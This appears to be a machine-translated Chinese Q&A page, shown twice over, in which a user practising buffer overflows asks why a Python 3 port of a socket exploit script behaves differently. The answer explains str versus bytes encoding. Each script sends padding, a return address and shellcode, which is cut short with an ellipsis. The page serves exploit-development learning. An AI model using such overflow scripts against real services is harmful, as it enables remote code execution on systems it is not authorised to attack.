Python3 和 Python2 之间的差异 - socket.send 数据
Difference between Python3 and Python2 - socket.send data
我正在练习一些缓冲区溢出技术和
我在发送接收数据时遇到了一个奇怪的问题。
我有这两个几乎相同的代码,除了事实
在 Python3 代码中,我更改了 sock.send 来编码
字符串(在 Python2 中你不需要它)
Python2代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer)
sock.close
Python3码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer.encode())
sock.close
我发送缓冲区,然后使用免疫调试器检查 EIP/SEP 值
我看到我在 Python2 代码和 Python3 之间得到了不同的值
代码。这怎么可能??
两者的缓冲区相同,因此调试器中的 EIP/SEP 应该相同。
换句话说,从服务器的角度来看(获取套接字数据)
看起来它得到了不同的数据结构或类似的东西。
有什么想法吗?
谢谢。
您的服务器和调试器是正确的 - 缓冲区内容不相同。
在python2和3中,如果写成buffer = "A"*268
,那么buffer的类型就是str
。但是,str
代表的是is completely different in the two versions。
在python 2 中,str
实际上是一个字节数组。在 python 3 中,它是一个 人类可读字符序列 ,而不是 字节 ("unicode string" 在 python 2)
如果您进一步 .encode()
,您将使用 utf-8
将字符序列转换为字节序列。这个 "changes the content" 你的字符串,可以这么说
您可能想要做的是 buffer = b"A"*268
,它将使用 bytes
而不是 str
。您还需要在所有连接的字节序列前加上 b
您可以使用 six.b
使其与 python2 和 python3 兼容:
import six
...
sock.send(six.b(buffer))
我正在练习一些缓冲区溢出技术和 我在发送接收数据时遇到了一个奇怪的问题。
我有这两个几乎相同的代码,除了事实 在 Python3 代码中,我更改了 sock.send 来编码 字符串(在 Python2 中你不需要它)
Python2代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer)
sock.close
Python3码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer.encode())
sock.close
我发送缓冲区,然后使用免疫调试器检查 EIP/SEP 值 我看到我在 Python2 代码和 Python3 之间得到了不同的值 代码。这怎么可能??
两者的缓冲区相同,因此调试器中的 EIP/SEP 应该相同。
换句话说,从服务器的角度来看(获取套接字数据) 看起来它得到了不同的数据结构或类似的东西。
有什么想法吗?
谢谢。
您的服务器和调试器是正确的 - 缓冲区内容不相同。
在python2和3中,如果写成buffer = "A"*268
,那么buffer的类型就是str
。但是,str
代表的是is completely different in the two versions。
在python 2 中,str
实际上是一个字节数组。在 python 3 中,它是一个 人类可读字符序列 ,而不是 字节 ("unicode string" 在 python 2)
如果您进一步 .encode()
,您将使用 utf-8
将字符序列转换为字节序列。这个 "changes the content" 你的字符串,可以这么说
您可能想要做的是 buffer = b"A"*268
,它将使用 bytes
而不是 str
。您还需要在所有连接的字节序列前加上 b
您可以使用 six.b
使其与 python2 和 python3 兼容:
import six
...
sock.send(six.b(buffer))